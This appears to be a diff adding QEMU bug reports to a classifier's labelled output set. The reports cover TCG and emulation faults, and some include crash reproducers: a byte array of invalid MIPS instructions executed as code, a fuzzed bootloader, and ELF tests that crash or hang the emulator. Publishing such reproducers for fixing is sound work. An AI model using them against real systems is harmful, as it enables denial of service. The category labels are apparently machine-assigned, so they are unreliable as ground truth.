TCG behavior to match actual CPU behavior when emulating an AMD CPU. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation/1577841 b/results/classifier/deepseek-1/output/mistranslation/1577841 new file mode 100644 index 00000000..16c6e0dd --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1577841 @@ -0,0 +1,18 @@ + +target-mips/helper.c:542: bad sizeof ? + +Recent versions of gcc say this: + +qemu/target-mips/helper.c:542:9: warning: ‘memset’ used with length equal to number of elements without multiplication by element size [-Wmemset-elt-size] + +Source code is + + memset(env->CP0_WatchLo, 0, sizeof(*env->CP0_WatchLo)); + +Maybe better code + + memset(env->CP0_WatchLo, 0, 8 * sizeof(target_ulong)); + +Fix has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=9d989c732b153fe15 + diff --git a/results/classifier/deepseek-1/output/mistranslation/1578192 b/results/classifier/deepseek-1/output/mistranslation/1578192 new file mode 100644 index 00000000..c693f717 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1578192 @@ -0,0 +1,95 @@ + +GTK+ interface doesn't translate keycodes properly with Wayland backend + +I already posted this on the mailing list (https://lists.nongnu.org/archive/html/qemu-devel/2016-05/msg00119.html) but I decided to do a formal bug report so it can be tracked and doesn't get lost. + +... I'm no expert, but it looks like GTK+ key events come in at the ui/gtk.c:gd_key_event callback function, which calls ui/gtk.c:gd_map_keycode to translate the GTK+ keycode into the Qemu keycode before sending it on using qemu_input_event_send_key_number. The problem is that gd_map_keycode is incomplete when GTK+ is running on a backend other than X11. + +static int gd_map_keycode(GtkDisplayState *s, GdkDisplay *dpy, int gdk_keycode) +{ + int qemu_keycode; + +#ifdef GDK_WINDOWING_WIN32 + if (GDK_IS_WIN32_DISPLAY(dpy)) { + qemu_keycode = MapVirtualKey(gdk_keycode, MAPVK_VK_TO_VSC); + switch (qemu_keycode) { + case 103: /* alt gr */ + qemu_keycode = 56 | SCANCODE_GREY; + break; + } + return qemu_keycode; + } +#endif + + if (gdk_keycode < 9) { + qemu_keycode = 0; + } else if (gdk_keycode < 97) { + qemu_keycode = gdk_keycode - 8; +#ifdef GDK_WINDOWING_X11 + } else if (GDK_IS_X11_DISPLAY(dpy) && gdk_keycode < 158) { + if (s->has_evdev) { + qemu_keycode = translate_evdev_keycode(gdk_keycode - 97); + } else { + qemu_keycode = translate_xfree86_keycode(gdk_keycode - 97); + } +#endif + } else if (gdk_keycode == 208) { /* Hiragana_Katakana */ + qemu_keycode = 0x70; + } else if (gdk_keycode == 211) { /* backslash */ + qemu_keycode = 0x73; + } else { + qemu_keycode = 0; + } + + return qemu_keycode; +} + +In my case, I'm using GTK+'s Wayland backend, so keycodes 97 through 157 (this includes KEY_HOME(102), KEY_PAGEUP(104), KEY_PAGEDOWN(109), KEY_END(107), etc.) are never translated into a qemu_keycode, and the final 'else' block is hit, causing gd_map_keycode to return 0, which is an invalid keycode and thus cannot be handled by xen-kbdfront. At least that's my best guess as to what is happening. + +The solution that comes to mind is provide an alternative to translate_{evdev,xfree86}_keycode that is compatable with Wayland/libinput, but I don't know exactly which API would provide this functionality, much less do I have a patch. Intuition tells me that translate_evdev_keycode would probably work under Wayland because Weston uses libinput which uses evdev as its backend, but I don't know this for a fact, and I don't know if it would be the Right Way (i.e. Wayland or libinput might provide an API for this purpose, but I don't know). + +I may try to do some testing with translate_evdev_keycode on Wayland and also look into any possible APIs for keycode translation, but I just wanted to put it out there and get some feedback awhile. + +Qemu 2.2.1 from Xen 4.6.1 (relevant code appears unchanged in Qemu master) +GTK+ 3.18.7 +Wayland 1.9.0 +Weston 1.9.0 +libinput 1.2.3 + +So here's my admittedly quick and dirty solution. This patch adds support for evdev keycodes using translate_evdev_keycode when GDK_WINDOWING_WAYLAND is defined. + +Affected functions: +ui/gtk.c:gd_set_keycode_type +ui/gtk.c:gd_map_keycode + +The caveat with this patch is that I don't see any good way to query Wayland/libinput to find out if evdev is actually the backend. As of now, evdev is the only backend supported, but others could be added in the future. Since XFree86 is the only other keycode type Qemu supports (and it is not supported by Wayland), I don't see any reason to check for evdev on Wayland at this time. + +One possibility might be libinput_device_get_udev_device and udev_device_get_subsystem, but even then, GTK+ doesn't (yet) provide any (documented) way to go from a GdkDevice to a struct libinput_device like it does with gdk_x11_display_get_xdisplay and XkbGetKeyboard. See https://developer.gnome.org/gdk3/unstable/gdk3-Wayland-Interaction.html. We would also have to modify the configure script to link against libinput in that case. + +thanks wyzu for the patch, I can confirm it also affecting my system. + +qemu 2.8.0 +gnome-shell 3.22.2 +gtk3 3.22 +wayland 1.12 +libinput 1.5.3 + +I attached an updated patch based on wyzu's one that seems to work for me. + +This issue was fixed already in git master with: + +commit a8ffb372a2202c65f42fdb69891ea68a2f274b55 +Author: Daniel P. Berrange <email address hidden> +Date: Thu Dec 1 09:41:17 2016 +0000 + + ui: use evdev keymap when running under wayland + + Wayland always uses evdev as its input source, so QEMU + can use the existing evdev keymap data + + Signed-off-by: Daniel P. Berrange <email address hidden> + Tested-by: Stefan Hajnoczi <email address hidden> + Message-id: <email address hidden> + Signed-off-by: Gerd Hoffmann <email address hidden> + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1668041 b/results/classifier/deepseek-1/output/mistranslation/1668041 new file mode 100644 index 00000000..43a8a60d --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1668041 @@ -0,0 +1,90 @@ + +x86 Floating point exceptions - incorrect support? + +It seems that qemu does not correctly emulate the x86 support for optionally causing a floating-point exception (#FP) when, for example, dividing by zero. Reports such as: + +https://github.com/cloudius-systems/osv/issues/855 +http://stackoverflow.com/questions/15134189/qemu-div-by-zero-mxcsr-register + +suggest that setting the exception mask in the fpu cw or mxcsr (e.g., using a function like feenableexcept() in the guest OS) does not generate floating point exceptions on divide by zero. The problem only happens on pure QEMU - when a QEMU/KVM combination is used, the actual hardware does the floating point work, and does throw the exception on divide by zero if so requested. + +Looking at the qemu (2.8.0) source code, it seems to me it really lacks support for generating fpu exceptions: For example, helper_fdiv() in target-i386/fpu_helper.c, when it notices the divisor is zero, seems to set the divide-by-zero exception bit, but doesn't seem to check whether it needs to trigger an exception (when the right bits on the x87 or SSE control words are enabled). + +Hi, + +This problem still exists on QEMU 5.0.0 both for i386 and x86_64; +floating-point zero division is not trapped at all, while integer +one is trapped correctly. + +This seriously affects NetBSD project, which carries out periodic +regression tests on QEMU: + +https://releng.netbsd.org/test-results.html + +Tests including floating-point zero division are falling on QEMU, +while they are successfully passing on real hardwares. + +HOW TO REPEAT: + +Compile and run this program on Unix like operating systems: + +--- +#include <fenv.h> +#include <stdlib.h> +#include <unistd.h> + +int +main(void) +{ + volatile double a = getpid(); + volatile double b = atoi("0"); + + feenableexcept(FE_ALL_EXCEPT); + + usleep((int)(a / b)); + + return 0; +} +--- + +It crashes by SIGFPE on real hardware, but normally exits on QEMU. + +I ran this program on NetBSD 9.0 for x86_64 and i386 on QEMU 5.0.0: + +(1) Obtain NetBSD 9.0 release from here: + +For x86_64: +http://cdn.netbsd.org/pub/NetBSD/NetBSD-9.0/images/NetBSD-9.0-amd64.iso + +For i386: +http://cdn.netbsd.org/pub/NetBSD/NetBSD-9.0/images/NetBSD-9.0-i386.iso + +(2) Install it for disk image. + +(3) qemu-system-x86_64 NetBSD.qcow2 or qemu-system-i386 NetBSD.qcow2 + +(4) Compile and run the test program above: + +# cc fpe.c -lm -o fpe +# ./fpe + +(5) Then, it exits normally, while it should abort due to SIGFPE. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting all older bugs to +"Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + + +Bug still present as of commit 7fbd7e710323c8f4c (just before 5.2 release); tested with a Linux guest in system emulation and with Linux usermode. + +The underlying problem is that we don't properly implement trapping FP exceptions; see the final paragraph in the commit message for commit 418b0f93d12a1589d50. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/215 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1701808 b/results/classifier/deepseek-1/output/mistranslation/1701808 new file mode 100644 index 00000000..3638868a --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1701808 @@ -0,0 +1,40 @@ + +stack smashing in or after recvmsg system call in aarch64 user mode + +A program that invokes recvmsg aborts with "*** stack smashing detected ***" when run in qemu-aarch64 (user mode), but works fine when running on native aarch64 hardware. + +How to reproduce: +$ aarch64-linux-gnu-gcc-5 -O -Wall /media/develdata/devel/qemu-bug/testpassfd.c -static -DEXTRA_SPACE=0 +$ QEMU_LD_PREFIX=/usr/aarch64-linux-gnu ~/inst-qemu/2.9.0/bin/qemu-aarch64 ./a.out +*** stack smashing detected ***: ./a.out terminated +qemu: uncaught target signal 6 (Aborted) - core dumped + +On native aarch64 hardware: +$ ./a.out +$ echo $? +0 + +The parameter EXTRA_SPACE can be used to add additional space to the array that receives the recvmsg data. With -DEXTRA_SPACE=9 (or larger), the program runs fine. Which suggests that recvmsg is storing up to 9 bytes more than allowed in memory. + + + + + +Likewise for 32-bit arm: +$ ~/inst-qemu/2.9.0/bin/qemu-arm ./a.arm +*** stack smashing detected ***: ./a.arm terminated +qemu: uncaught target signal 6 (Aborted) - core dumped + + +The behaviour in qemu-2.10 is the same as in qemu-2.9. + +The behaviour in qemu-2.11 is the same as in qemu-2.9. + +This should be fixed by http://patchwork.ozlabs.org/patch/849170/ I think. + + +Patch has been included here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=7174970a94df10ee84143 + +Confirmed: It's fixed in qemu-2.12. + diff --git a/results/classifier/deepseek-1/output/mistranslation/1748296 b/results/classifier/deepseek-1/output/mistranslation/1748296 new file mode 100644 index 00000000..0cfaa23e --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1748296 @@ -0,0 +1,83 @@ + +TCG throws Invalid Opcode when executing x86 BMI shlx instruction + +I am unable to use BMI in my project when running under TCG. I narrowed the problem down to incorrect instruction decoding for BMI instructions (which have a 2 byte VEX prefix). The gen_sse function in translate.c reaches the goto label do_0f_38_fx, but b does not equal 0x1f7, 0x2f7, or 0x3f7, so the switch takes the default path and raises an invalid opcode exception. + +The code executes correctly and passes the test under KVM. + +I have created a complete repro here: https://github.com/doug65536/qemu-bmibug + +The makefile has the following utility targets: + +debug-kvm: Build and run the VM using KVM and wait for gdbstub attach + +run: Run the test case with TCG, make fails if the test fails. (It will fail) + +run-kvm: Run the test case with KVM, make fails if the test fails. (It will succeed) + +debug: Build and run the VM with TCG and wait for GDB attach + +attach-gdb: Run GDB and attach to KVM gdbstub + +The VM runs with -cpu max. CPUID reports support for BMI, BMI2, and ABM. + +You can quickly verify the issue by executing `make run-kvm` to confirm that KVM passes, then `make run` to confirm that TCG fails. + +I believe the bug affects other BMI, BMI2, and ABM instructions, but I have only completely verified incorrect execution of SHLX. + +I hit this today on QEMU head. The problem appears to crop up when: + + 1. Decoding a VEX instruction (see [1]) that uses the 0x66 mandatory + prefix; and + + 2. The OSFXSR bit in CR4 is clear (that is, SSE is disabled) + +This means that x86_64 instructions such as: + + c4 e2 f9 f7 c0 shlxq %rax, %rax, %rax + +fail. Similar instructions the use a different mandatory prefix +(such as `shrxq`, which uses prefix 0xf2) work fine. + +Most operating systems presumably set the OSFXSR bit fairly early on, which I +guess is why this problem isn't likely to be seen except in low-level or early +boot code. + +The culprit appears to be the block of code in `gen_sse` [2]: + + if (is_xmm + && !(s->flags & HF_OSFXSR_MASK) + && ((b != 0x38 && b != 0x3a) || (s->prefix & PREFIX_DATA))) { + goto unknown_op; + } + +Removing the check `... || (s->prefix & DATA_DATA)` causes QEMU to correctly +translate the instruction, and allows doug16k's test above to pass. + +I must confess, I'm not clear what this clause was testing for. My best guess +is that early code (e.g. 4242b1bd8ac) required it to avoid accessing invalid +opcode tables, but we seem to be handling that more gracefully today (e.g. +[3]), so I suspect it is no longer needed. + +[1]: https://wiki.osdev.org/X86-64_Instruction_Encoding#VEX.2FXOP_opcodes +[2]: https://github.com/qemu/qemu/blob/6b63d126121a9535784003924fcb67f574a6afc0/target/i386/tcg/translate.c#L3078 +[3]: https://github.com/qemu/qemu/blob/6b63d126121a9535784003924fcb67f574a6afc0/target/i386/tcg/translate.c#L3696-L3700 + + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + +Ah, never mind, posted the text before seeing that it still affects people in 2021 ... so I'm not changing this bug to "Incomplete". Sorry for the noise. + +Fix has been included here: +https://gitlab.com/qemu-project/qemu/-/commit/51909241d26fe6fe18a + diff --git a/results/classifier/deepseek-1/output/mistranslation/1759333 b/results/classifier/deepseek-1/output/mistranslation/1759333 new file mode 100644 index 00000000..d4b2345c --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1759333 @@ -0,0 +1,22 @@ + +Illegal Instruction with HVF when encountering SSE instructions in the emulator + +The latest version of QEMU doesn't seem to support emulated SSE instructions with HVF acceleration on macOS. +The decoder will treat SSE instructions as invalid, get the instruction sizes wrong and quickly crash the guest OS because of illegal instructions. +After having a quick look at target/i386/hvf/x86_decode.c, it seems that SSE instruction emulation isn't implemented in the current version of the x86 emulator. + +A way to reproduce the issue is to run a macOS 10.13 guest with HVF acceleration enabled, this will crash once it's loading up the GUI. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +Thomas, I think the issue is there. SSE/MMX weren't yet added for HVF. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/150 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1790018 b/results/classifier/deepseek-1/output/mistranslation/1790018 new file mode 100644 index 00000000..7ac03bf7 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1790018 @@ -0,0 +1,58 @@ + +Assertion failure (or segmentation fault) running 32-bit x86 Linux guest on 64-bit PowerPC host + +Qemu 2.12.1 (also tried 2.12.0) +Linux gwyn 4.14.48-mc8-easy #1 SMP Sat Jun 30 23:29:01 CDT 2018 ppc64 GNU/Linux +gcc (Adelie 6.4.0-r9) 6.4.0 +GNU assembler (GNU Binutils) 2.30 +musl libc (powerpc64) Version 1.1.19 + +64-bit, 64-thread (16-core) POWER9 server in Big endian mode: +processor : 0 +cpu : POWER9, altivec supported +clock : 3000.000000MHz +revision : 2.2 (pvr 004e 1202) + +Scenario: + +Attempting to install Adélie Linux 32-bit x86 guest on 64-bit PowerPC host using qemu-system-i386. + + +Command line: + +/usr/bin/qemu-system-i386 -cdrom adelie-live-pmmx-1.0-beta1-20180807.iso -hda /dev/gwyn/x86 -m 512 -cpu pentium3 + + +Environment reproduction: + +CD image can be obtained at https://distfiles.adelielinux.org/adelie/1.0-beta1/iso/adelie-live-pmmx-1.0-beta1-20180807.iso +/dev/gwyn/x86 is an LVM2 logical volume, 4 GB in size, on NVMe storage +Qemu was built from sources on this machine, with some distribution patches applied for musl support (does not affect tcg/ppc/* code); patches and build recipe (which was modified: https://bpaste.net/show/1bbb1d07d7f2 for recipe patch) can be found at: https://code.foxkit.us/adelie/packages/blob/master/user/qemu/APKBUILD + + +Without --enable-debug-tcg: + +Thread 5 "qemu-system-i38" received signal SIGSEGV, Segmentation fault. +[Switching to LWP 14090] +0x39fb04787f63db78 in ?? () +(gdb) +(gdb) bt +#0 0x39fb04787f63db78 in () +#1 0x00003ffff1cdb160 in code_gen_buffer () +#2 0x0000000100362048 in cpu_tb_exec (itb=<optimized out>, cpu=<optimized out>) at /usr/src/packages/user/qemu/src/qemu-2.12.1/accel/tcg/cpu-exec.c:169 +#3 0x0000000100362048 in cpu_loop_exec_tb (tb_exit=<synthetic pointer>, last_tb=<synthetic pointer>, tb=<optimized out>, cpu=<optimized out>) at /usr/src/packages/user/qemu/src/qemu-2.12.1/accel/tcg/cpu-exec.c:626 +#4 0x0000000100362048 in cpu_exec (cpu=<optimized out>) at /usr/src/packages/user/qemu/src/qemu-2.12.1/accel/tcg/cpu-exec.c:734 +#5 0x00000001003211b4 in tcg_cpu_exec (cpu=<optimized out>) at /usr/src/packages/user/qemu/src/qemu-2.12.1/cpus.c:1362 +#6 0x00000001003211b4 in qemu_tcg_rr_cpu_thread_fn (arg=<optimized out>) at /usr/src/packages/user/qemu/src/qemu-2.12.1/cpus.c:1461 +#7 0x00003ffff7fa275c in start (p=0x3fffedb6a810) at src/thread/pthread_create.c:147 +#8 0x00003ffff7fae4c8 in __clone () at src/thread/powerpc64/clone.s:43 + + + +With --enable-debug-tcg: + +Assertion failed: disp == (int16_t) disp (/usr/src/packages/user/qemu/src/qemu-2.12.1/tcg/ppc/tcg-target.inc.c: reloc_pc14_val: 204) +zsh: abort qemu-system-i386 + +This appears to be fixed by 9f754620651d3432114f4bb89c7f12cbea814b3e and present in 3.0.0. Closing. + diff --git a/results/classifier/deepseek-1/output/mistranslation/1804678 b/results/classifier/deepseek-1/output/mistranslation/1804678 new file mode 100644 index 00000000..79e6c976 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1804678 @@ -0,0 +1,67 @@ + +qemu-3.1.0-rc0: mips emulation hangs when executing invalid instructions + +QEMU version: +------------- + +qemu-3.1.0-rc0 compiled from sources (earlier versions also affected) + +Summary: +-------- + +QEMU MIPS system emulation hangs when trying to execute the following invalid instructions: + +71c5a9bf sdbbp 0x716a6 +2c4745aa sltiu a3, v0, 0x45aa +f47539fb sdc1 f21, 0x39fb(v1) +5fa5e284 invalid + +qemu-system-mips falls under an infinite loop condition and it needs to be ended. + +The issue has been reproduced in Ubuntu x64 host running Debian MIPS 32-bits guest with the following command line: + +qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" + +It can also be reproduced using mips-linux-user, in which case throws the following exception: + +qemu-mips mips_loop_static.elf +qemu: unhandled CPU exception 0x10 - aborting +pc=0x004a9da0 HI=0x00000003 LO=0x00000002 ds 00e2 004a9da0 0 +GPR00: r0 00000000 at fffffff8 v0 004a9da0 v1 004ad000 +GPR04: a0 00000001 a1 7fffefc4 a2 7fffefcc a3 00000000 +GPR08: t0 004ab854 t1 0ffffffe t2 81010100 t3 2f2f2f2f +GPR12: t4 7ffff1ad t5 004ab090 t6 004ab06c t7 004ab07c +GPR16: s0 00000000 s1 452ac505 s2 00400db4 s3 00400d38 +GPR20: s4 00000000 s5 00000000 s6 00000000 s7 00000000 +GPR24: t8 004ab0a8 t9 004a9da0 k0 00000000 k1 00000000 +GPR28: gp 004b25a0 sp 7fffeec0 s8 7fffeec0 ra 0040041c +CP0 Status 0x24000010 Cause 0x00000000 EPC 0x00000000 + Config0 0x80008482 Config1 0x9e190c8f LLAddr 0xffffffffffffffff + Config2 0x80000000 Config3 0x00000000 + Config4 0x00000000 Config5 0x00000000 +qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x602dbad8 + +Testcase: +--------- + +C program to reproduce the problem: + +unsigned char code[] = "\x71\xC5\xA9\xBF\x2C\x47\x45\xAA\xF4\x75\x39\xFB\x5F\xA5\xE2\x84"; +main() +{ + int (*ret)() = (int(*)())code; + ret(); +} + +Also, find a statically compiled ELF attached. + + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'invalid' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/240 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1807675 b/results/classifier/deepseek-1/output/mistranslation/1807675 new file mode 100644 index 00000000..003e8253 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1807675 @@ -0,0 +1,43 @@ + +qemu commit 80422b0: tcg.c crash in temp_load + +As discussed in #1803160 I'm opening a new ticket for the new bug. + +QEMU version: +------------- + +qemu from git, master branch commit 80422b00196a7af4c6efb628fae0ad8b644e98af + +Summary: +-------- + +TCG crashes in i386 and x86_64 when it tries to execute some specific illegal instructions. When running full OS emulation, both the guest system and QEMU crash. + +$ qemu-i386 tcg_crash1.elf +/home/alberto/Documents/qemu/tcg/tcg.c:2863: tcg fatal error +qemu: uncaught target signal 11 (Segmentation fault) - core dumped +zsh: segmentation fault (core dumped) ./qemu/build/i386-linux-user/qemu-i386 tcg_crash1.elf + +Invalid instructions: + +f0 invalid +40 inc eax +a7 cmpsd dword [esi], dword ptr es:[edi] +48 dec eax + +Testcase: +--------- + +Find ELF file attached. + + + +(Still repros as of commit d37bfe142382fa82585.) + + +I've sent patch https://patchwork.ozlabs.org/patch/1068003/ to the list which fixes this. (There might be other failures to check for bogus LOCK prefixes elsewhere, though.) + + +The patch from comment #3 is now in git master and will be in the 4.0 release. + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1810956 b/results/classifier/deepseek-1/output/mistranslation/1810956 new file mode 100644 index 00000000..be0d7c7b --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1810956 @@ -0,0 +1,18 @@ + +qemu-2.12.1 crashes when running malicious bootloader. + +Running specific bootloader on Qemu causes fatal error and +hence SIGABRT in /qemu-2.12.1/tcg/tcg.c on line 2684. + +Bootloader binary code is included in attachments. +The code was generated by assembling a valid bootloader, then +appending random-bytes from file `/dev/urandom` to the binary file. + + + +This is a bug, obviously, but note that we do not guarantee TCG binary translation to be a security boundary against malicious code. Don't run guest code you don't trust inside TCG without further sandboxing around QEMU. (Much of the code that runs in a TCG configuration is old and unaudited, so there may be lurking bugs. Configurations using KVM are the only ones where we treat guest escapes as security bugs.) + + +I think this bug was fixed in QEMU 3.1 -- I can reproduce the assert on 3.0 but not on 3.1. + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1813307 b/results/classifier/deepseek-1/output/mistranslation/1813307 new file mode 100644 index 00000000..70e46655 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1813307 @@ -0,0 +1,31 @@ + +util/path.c/follow_path() does not handle "/" well + +Hello, + +I noticed that qemu does not handle "/" very well in follow_path(). + +Specifically, I was trying to run gdbserver under qemu, and it failed inside its implementation of __getcwd. + +Indeed it does something like + if (__lstat ("/", &st) < 0) +..... +and then loops from current dir toward the top using lstat("..") + +On qemu side, lstat forwards the request to follow_path() in util/path.c, and when passed "/", it returns the path in QEMU_LD_PREFIX (which was the top of my sysroot). +OTHT, the series of lstat("..") finally reaches the real device root because it's not recognized as "/" in follow_path(), so this is inconsistent and __getcwd fails. + +I suppose there's a good reason for returning QEMU_LD_PREFIX when asking for "/", but why is it so? + +If there's no good reason, maybe the behaviour could be changed to map "/" to "/" ? + +Thanks + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/162 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1815423 b/results/classifier/deepseek-1/output/mistranslation/1815423 new file mode 100644 index 00000000..fcb06759 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1815423 @@ -0,0 +1,72 @@ + +x86_64 TCG: Incorrect floating point cast to int. + +I used exaample from: +https://stackoverflow.com/questions/3986795/what-is-the-result-of-casting-float-inf-inf-and-nan-to-integer-in-c + +#include <stdio.h> +#include <math.h> + +int main(int argc, char** argv) { + float a = INFINITY; + float b = -INFINITY; + float c = NAN; + + printf("float %f %f %f\n", a, b, c); + printf("int %d %d %d\n", (int) a, (int) b, (int) c); + printf("uint %u %u %u\n", (unsigned int) a, (unsigned int) b, (unsigned int) c); + printf("lint %ld %ld %ld\n", (long int) a, (long int) b, (long int) b); + printf("luint %lu %lu %lu\n", (unsigned long int) a, (unsigned long int) b, (unsigned long int) c); + + return 0; +} + +And got different results on real computer and on qemu. + +output from real HW is the same as on stackoverflow: + +$ gcc test.c && ./a.out +float inf -inf nan +int -2147483648 -2147483648 -2147483648 +uint 0 0 0 +lint -9223372036854775808 -9223372036854775808 -9223372036854775808 +luint 0 9223372036854775808 9223372036854775808 + + +But on qemu I got another results: + +float inf -inf nan +int 2147483647 -2147483648 2147483647 +uint 4294967295 0 4294967295 +lint 9223372036854775807 -9223372036854775808 -9223372036854775808 +luint 18446744073709551615 9223372036854775808 9223372036854775807 + +qemu launch string: +/qemu-system-x86_64 -m 1024 -cpu core2duo -serial stdio -netdev user,id=network0 -device e1000,netdev=network0 -kernel my_kernel + + +qemu version: +x86_64-softmmu/qemu-system-x86_64 --version +QEMU emulator version 3.1.50 (v3.1.0-1676-ge47f81b617-dirty) +Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers + + +This bug affect some javascript (surprise) calculations: + +var conversion = "01234567890"; +var x; +var result = conversion[x & 42]; +console.log(result) + + +In example, var x is "undefined" +and when do calculation "x & 42" on js we should get 0 (it is documented feature), but actually got "42" + +and "result" sould be "0" but actually we got "undefined" + +https://<email address hidden>/ is a patch which fixes the C test case (and may also fix the node.js case, though I don't have a setup to test that). + + +This should be fixed by commit 1e8a98b53867f61da9, which will be in the 4.2 release. + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1824344 b/results/classifier/deepseek-1/output/mistranslation/1824344 new file mode 100644 index 00000000..bd68ac5c --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1824344 @@ -0,0 +1,59 @@ + +x86: retf or iret pagefault sets wrong error code + +With a x86_64 or i386 guest, non-KVM, when trying to execute a +"iret/iretq/retf" instruction in userspace with invalid stack pointer +(under a protected mode OS, like Linux), wrong bits are set in the +pushed error code; bit 2 is not set, indicating the error comes from +kernel space. + +If the guest OS is using this flag to decide whether this was a kernel +or user page fault, it will mistakenly decide a kernel has irrecoverably +faulted, possibly causing guest OS panic. + + +How to reproduce the problem a guest (non-KVM) Linux: +Note, on recent Linux kernel version, this needs a CPU with SMAP support +(eg. -cpu max) + +$ cat tst.c +int main() +{ +__asm__ volatile ( +"mov $0,%esp\n" +"retf" +); +return 0; +} + +$ gcc tst.c +$ ./a.out +Killed + + +"dmesg" shows the kernel has in fact triggered a "BUG: unable to handle +kernel NULL pointer dereference...", but it has "recovered" by killing +the faulting process (see attached screenshot). + + +Using self-compiled qemu from git: +commit 532cc6da74ec25b5ba6893b5757c977d54582949 (HEAD -> master, tag: v4.0.0-rc3, origin/master, origin/HEAD) +Author: Peter Maydell <email address hidden> +Date: Wed Apr 10 15:38:59 2019 +0100 + + Update version for v4.0.0-rc3 release + + Signed-off-by: Peter Maydell <email address hidden> + + + +This appears to be similar to https://bugs.launchpad.net/qemu/+bug/1866892 (and much simpler) + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/265 + + diff --git a/results/classifier/deepseek-1/output/mistranslation/1831545 b/results/classifier/deepseek-1/output/mistranslation/1831545 new file mode 100644 index 00000000..784292c3 --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1831545 @@ -0,0 +1,25 @@ + +"accel/tcg: demacro cputlb" break qemu-system-x86_64 on 32-bit x86 host + +As described in https://lists.gnu.org/archive/html/qemu-devel//2019-05/msg07362.html I run into TCG regression in qemu-git. + +Unfortunately, fix from bug https://bugs.launchpad.net/qemu/+bug/1830872 seems to be nonn-effective for my case. + +For reproduction (on 32-bit x86 host, in my case Slackware with gcc 5.5.0): + +./configure --target-list=x86_64-softmmu --disable-werror --enable-debug-tcg + +make (-j5 in my case) + +try to boot any 64-bit kernel: + +x86_64-softmmu/qemu-system-x86_64 -kernel /boot/bzImage-4.12.0-x64 -accel tcg + +result is - qemu appear to hang right after "Booting the kernel" line. Decompression (xz) was ok. + +Tested with qemu-git commit e2a58ff493a2e00db3e963c1839c5374500110f2 + +32-bit OS can be booted fine, and -enable-kvm also allow 64 bit kernel/os to boot. + +bug fixed in current git (commit 474f3938d79ab36b9231c9ad3b5a9314c2aeacde). Thanks, Alex! + diff --git a/results/classifier/deepseek-1/output/mistranslation/1847467 b/results/classifier/deepseek-1/output/mistranslation/1847467 new file mode 100644 index 00000000..74d33d4c --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/1847467 @@ -0,0 +1,44 @@ + +qemu-x86_64 segment prefixes error + +qemu-x86_64 version 4.1.0 (qemu-x86_64 version 4.0.0 also have the issue) + +In 64-bit mode (x86_64) the DS, ES, SS or CS segment prefixes should be ignored; qemu-x86_64 does not ignore them. + +example: an x86_64 instructions preceded by FS DS (0x64 0x26) segment prefixes have the linear address of its memory reference flat-mapped (as if DS was in action) whereas it should be FS-mapped (offset by FS_base, because the DS, ES, SS or CS are just ignored). + + +I attach a small C++ program that shows this discrepancy. + 